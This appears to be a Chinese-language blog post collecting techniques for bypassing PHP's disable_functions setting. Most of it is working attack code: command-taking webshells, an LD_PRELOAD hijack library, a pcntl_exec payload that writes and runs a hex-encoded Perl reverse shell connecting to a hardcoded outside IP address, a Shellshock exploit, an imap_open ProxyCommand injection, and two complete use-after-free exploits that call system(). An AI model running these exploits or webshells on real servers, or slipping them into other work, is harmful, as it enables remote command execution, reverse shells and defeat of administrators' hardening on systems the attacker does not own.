disable_functions绕过技巧总结


disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。
要进行添加的话在php.ini中添加即可,每个函数之间使用逗号隔开。
注意:eval并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin。

常规绕过

因为禁止函数其实就是黑名单,只要我们找到漏网之鱼即可。
一般会禁止这些函数:
exec,shell_exec,system,passthru,popen,proc_open

exec

<?php   echo exec('whoami');?>

shell_exec

<?php   echo shell_exec('whoami');?>

system

<?php   system('whoami');?>

passthru

<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");   
while(!feof($handle))   
{        
echo fread($handle, 1024);  //fread($handle, 1024);   
}     
pclose($handle);
?>

proc_open

<?php   
$command="ipconfig";   
$descriptorspec = array(1 => array("pipe", "w"));   
$handle = proc_open($command ,$descriptorspec , $pipes);   
while(!feof($pipes[1]))  
{       
echo fread($pipes[1], 1024); //fgets($pipes[1],1024);  
}
?>

windowCOM系统组件绕过

利用windows系统组件COM绕过,这也是window最常用的方法(因为window绕过的方法确实少)

要求:window上系统

开启COM组件

image-20200603105749390

开启方法:先在php.ini中查看是否已经开启com.allow_dcom,若未开启则将前面的;分号去掉:

; allow Distributed-COM calls
; http://php.net/com.allow-dcom
com.allow_dcom = true

然后在php/ext/里面查找是否存在php_com_dotnet.dll这个文件。

再到php.ini中查看是否存在extension=php_com_dotnet.dll(在高版本的php环境默认是不添加该组件的要自行添加,php>5.4?)这项,有的话去掉注释开启,否则直接添加上去即可,绕后重启服务

绕过上传该exp脚本上去执行即可:

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

使用环境变量-LD_PRELOAD

要求:linux系统

使用成功三个必要条件

  1. mail()函数和error_log()函数所调用的sendmail已安装,centos好像是默认安装的,ubantu则默认不安装
  2. 不限制 /usr/sbin/sendmail 的执行
  3. mail()函数和error_log()函数有一个未被禁用

基本原理

当 disable_functions 禁用了命令执行函数,webshell 无法执行系统命令时,可以通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执行操作系统命令。

该作者详细介绍了LD_PRELOAD函数的作用:https://xz.aliyun.com/t/5320#toc-2

攻击利用

该漏洞原理其实自已还不是非常清楚,而且我也没有复现成功。到时不懂可以详情看这一篇文章:https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-disable-functions%E7%9A%84%E6%96%B9%E6%B3%95/

bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

接着用以下语句编译C文件为共享对象文件:

gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so

bypass_disablefunc.php,代码和test.php一致:

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    unlink($out_path);
?>

访问bypass_disablefunc.php,输入参数设置LD_PRELOAD环境变量和要执行的命令的值,页面直接返回命令执行结果:

img

这里接受3个参数,一是cmd参数,待执行的系统命令;二是outpath参数,保存命令执行输出结果的文件路径,便于在页面上显示,另外该参数,你应注意web是否有读写权限、web是否可跨目录访问、文件将被覆盖和删除等几点;三是sopath参数,指定劫持系统函数的共享对象的绝对路径。

利用pcntl插件绕过

系统:linux

需要pcntl插件开启,默认开启

image-20200603150832386

PHP 4 >= 4.2.0, PHP 5 on linux

基本原理

原理比较简单,就是利用pcntl_exec()这个pcntl插件专有的命令执行函数来执行系统命令,从而Bypass黑名单。该方法简单好用,曾经使用该方法bybass了宝塔

exp

<?php
$ip = '119.23.104.209';
$port = '7000';
$file = '/tmp/bc.pl';
header("content-Type: text/html; charset=gb2312");
if(function_exists('pcntl_exec')) {
$data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
"\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
"\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
"\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
"\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
"\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
"\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
"\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
"\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
"\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
"\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
"\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
"\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
"\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
"\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
"\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
"\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
"\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
"\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
"\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
$fp = fopen($file,'w');
$key = fputs($fp,$data);
fclose($fp);
if(!$key) exit('写入'.$file.'失败');
chmod($file,0777);
pcntl_exec($file);
unlink($file);
} else {
echo '不支持pcntl扩展';
}
?>

利用Bash破壳(CVE-2014-6271)漏洞绕过

目标主机存在CVE-2014-6271,该漏洞的具体介绍可参考《破壳漏洞(CVE-2014-6271)综合分析:“破壳”漏洞系列分析之一 》

攻击利用

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none 
# Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net 
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271 

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail 
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>

img

利用imap_open()绕过

安装PHP的imap扩展:apt-get install php-imap;在php.ini中开启imap.enable_insecure_rsh选项为On;重启服务。

成功配置好环境后,在phpinfo中会看到如下信息:

img

基本原理

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。利用此漏洞的功能代码是Metasploit Framework的一部分。

Bypass

exp如下,先判断是否存在imap_open()函数,然后构造exp执行通过外部GET输入的命令然后保存结果到本地文件中,最后输出结果文件内容,注意sleep(5)是为了等imap_open()函数执行完、因为该函数执行时需要DNS轮询会存在延时:

<?php
error_reporting(0);
if (!function_exists('imap_open')) {
        die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("\n\nError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

当然,替换空格符的\t也可以换成$IFS$()来Bypass掉。

此时环境中disable_functions配置如下:

img

访问,能够成功Bypass:

img

php-json-bypass

大杀器,只要符合这些版本都可以。在使用蚁剑的测试中其自带的发现不行。

  • 7.1 - all versions to date
  • 7.2 < 7.2.19 (released: 30 May 2019)
  • 7.3 < 7.3.6 (released: 30 May 2019)

bypass

<?php
# 这里修改你的命令
$cmd = "id";
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
    public static $leak;
}
class Z implements JsonSerializable {
    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }
    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;
        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }
    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;
        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x10, 2);
        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);
            if($p_type == 0x6474e552) { # PT_GNU_RELRO
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');
        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();
        $_protector = $this->ptr2str(0, 78);
        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');
        unset($y[0]);
        unset($p);
        $protector = ".$_protector";
        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000
        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }
        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();
        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;
        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry
        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }
        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }
        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }
        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }
        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }

        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;
        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }
        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }
        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }
        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
        $spl1->offsetGet($cmd);
        exit();
    }
}
$y = [new Z()];
json_encode([&$y]);

php7-gc-bypass

同样是大杀器

PHP 7.0-7.3 disable_functions bypass PoC (*nix only)

bypass

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;

        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

参考文章

浅谈几种Bypass disable_functions的方法

渗透测试之绕过PHP的disable_functions

PHP Webshell下绕过disable_function的方法


文章作者: EASY
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EASY !
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